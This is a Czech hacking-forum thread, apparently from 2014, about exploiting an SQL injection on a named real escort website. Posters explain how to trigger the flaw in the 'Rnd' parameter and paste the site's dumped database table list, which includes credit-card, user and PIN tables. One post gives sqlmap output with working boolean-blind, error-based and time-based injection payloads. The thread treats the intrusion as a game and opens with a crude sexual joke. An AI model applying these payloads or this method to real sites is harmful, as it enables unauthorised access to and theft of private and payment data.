eskort.cz sqli

BugTrack

eskort.cz sqli#
teda vedeli jste ze ty holky maj taky diru ? :) ale takovou krasnou ... :)

[link]
(odpovědět)
Reverend | E-mail13.8.2014 23:12
re: eskort.cz sqli#

chybka je na Rnd .. .dejte si uplne nakonec apostrof :)


[link]
(odpovědět)
Reverend | E-mail13.8.2014 23:20
re: eskort.cz sqli#
Tabulky v DB : Escort
+--------------------------+
| AAns |
| AAns2Lg |
| AQue |
| AQue2Lg |
| ASet |
| ASet2Lg |
| AUser |
| Ability |
| AbilityDominy |
| AllowPhone |
| Annonce |
| AnnonceAzyly |
| AnnonceAzylyRegion |
| AnnonceDominy |
| AnnonceEskort |
| AnnonceMassages |
| AnnoncePrivates |
| AnnonceSex |
| Avail |
| BanIP |
| BanMail |
| BanPhone |
| BlackList |
| Chat |
| ChatRoom |
| ChatRoom2User |
| Cities |
| ColorScheme |
| ColorScheme2Lg |
| Competition |
| Competitor |
| Contact |
| ContactDump |
| ContactDumpParser |
| ContactExchange |
| Counters |
| Country |
| Country2Lg |
| CreditCards |
| Currency |
| Currency2Lg |
| DailyStats |
| Dictionary |
| Dictionary2Lg |
| Dir |
| DirCategory |
| DirClick |
| DirUser |
| Discount |
| EditUsers |
| EditUsers2TipSerie |
| EditUsersLog |
| Edition |
| Edition2Lg |
| Edition2URL |
| Equipment |
| ErotikaTopItem |
| Events |
| Eyes |
| Facility |
| Facility2Cards |
| Facility2Edn |
| Facility2Equipment |
| Facility2Feedback |
| Facility2Lg |
| Facility2Program |
| Facility2Rating |
| Facility2Region |
| Facility2Schedule |
| Facility2Type |
| FacilityDataPreInfo |
| FacilityDiscount |
| FacilityMapPreInfo |
| FacilityPhotoPreInfo |
| FacilityPre |
| FacilityPre2Cards |
| FacilityPre2Edn |
| FacilityPre2Equipment |
| FacilityPre2Lg |
| FacilityPre2Program |
| FacilityPre2Type |
| FacilityPreInfo |
| FacilityType |
| Forum |
| GalleryCat |
| GalleryCat2Lg |
| GalleryItem |
| GalleryPhoto |
| HTMLCache |
| Hair |
| Hint2Lg |
| Hint2Section |
| ILikeQ |
| InsertType |
| Kraje |
| Lang |
| LinkTrk |
| LinkTrkClick |
| Log |
| LogLucianaTOP |
| LogMember |
| LogPrivates |
| LogProfiTOP |
| LogSex |
| LogTOP |
| Mail2FriendLog |
| MailCampaign |
| MailCampaignItem |
| MailList |
| MailoutLog |
| MapLink |
| Message |
| Message2 |
| MissVote |
| News |
| News2Lg |
| Operator |
| PINCodes |
| Panorama |
| PriceUnit |
| Program |
| QSet |
| QandA |
| Region |
| Region2Lg |
| RelocationAzyly |
| Reply |
| SMSLog |
| SexShopTip |
| StoryCat |
| StoryItem |
| StoryItem2Tags |
| StoryTags |
| Streets |
| StreetsBrno |
| StreetsBrno_Old |
| Streets_Old |
| Subject |
| Subject2Ability |
| Subject2AbilityDominy |
| Subject2Avail |
| Subject2Feedback |
| Subject2Lang |
| Subject2Lg |
| Subject2Price |
| Subject2Rating |
| Subject2Schedule |
| Subject2Shifts |
| SubjectDataPreInfo |
| SubjectDiscount |
| SubjectFacilityPreInfo |
| SubjectPhotoPreInfo |
| SubjectPre |
| SubjectPre2Ability |
| SubjectPre2AbilityDominy |
| SubjectPre2Avail |
| SubjectPre2Lang |
| SubjectPre2Lg |
| SubjectPreInfo |
| TMobilePayments |
| TipOfDay |
| TipOfDaySerie |
| Top100 |
| Top100Rating |
| TopList |
| TopList2Grp |
| TopListClick |
| TopListGrp |
| TopListIP |
| U2A |
| UnauthAccLog |
| User2Facility |
| User2Forum |
| User2Subject |
| UserFavorite |
| Video2Lg |
| VideoCat |
| VideoCat2Lg |
| VideoDownload |
| VideoFile |
| VideoItem |
| VideoTicket |
| VlozUser2Subject |
| VlozUser2SubjectLuciana |
| VlozUser2SubjectProfi |
| XCompetition |
| XCompetitionCompetitor |
| XCompetitionHeader |
| XCompetitionQuestions |
| ZasliUser2Subject |
| ZasliUser2SubjectProfi |
| Section |
| User |
| monitor_stats_daily |
| monitor_stats_hourly |
| monitor_stats_monthly |
| monitor_stats_weekly |
+--------------------------+

(odpovědět)
Reverend | E-mail13.8.2014 23:25
re: eskort.cz sqli#
lol :D
"this goo.gl shortlink has been disabled. It was found to be violating our Terms of Service"
(odpovědět)
FastNode | Website21.8.2014 23:52
re: eskort.cz sqli#
Jak se ti to podarilo? ja to zkousel manualne i pres sqlmap ale ani u jednoho se mi to nepovedlo ten error mi to hodi ale to je tak vsechno nic vic jsem z toho nedostal .]
(odpovědět)
Johnik | 93.114.45.*25.8.2014 20:53
re: eskort.cz sqli#
bezne SQLMAP ... me to projel napr pres:

Parameter: Rnd
Type: boolean-based blind
Title: MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)
Payload: Loc=lsf&Rnd=MAKE_SET(9017=9017,17320464
85)

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: Loc=lsf&Rnd=1732046485 AND (SELECT 9090 FROM(SELECT COUNT(*),CONCAT(0x717a756671,(SELECT (CASE WHEN (9090=9090) THEN 1 ELSE 0 END)),0x7165726371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: Loc=lsf&Rnd=1732046485 AND SLEEP(5)
(odpovědět)
Reverend | E-mail3.9.2014 15:47
re: eskort.cz sqli#
nerad vam kazim radost, ale tenhle bugreport tu byl uz ohlasenej pred par lety a jen se divim ze to admin serveru neopravil i kdyz jsem mu to hlasil.
(odpovědět)
amat | 46.234.100.*20.9.2014 20:05
re: eskort.cz sqli#
aha, tak to sorry ... no tak jsme si ho ozivili ...
(odpovědět)
Reverend | E-mail20.9.2014 22:36
re: eskort.cz sqli#
Tak už to asi opravili :)
(odpovědět)
Trouba | 90.180.187.*25.10.2014 13:48

Zpět
 
 
 

 
BBCode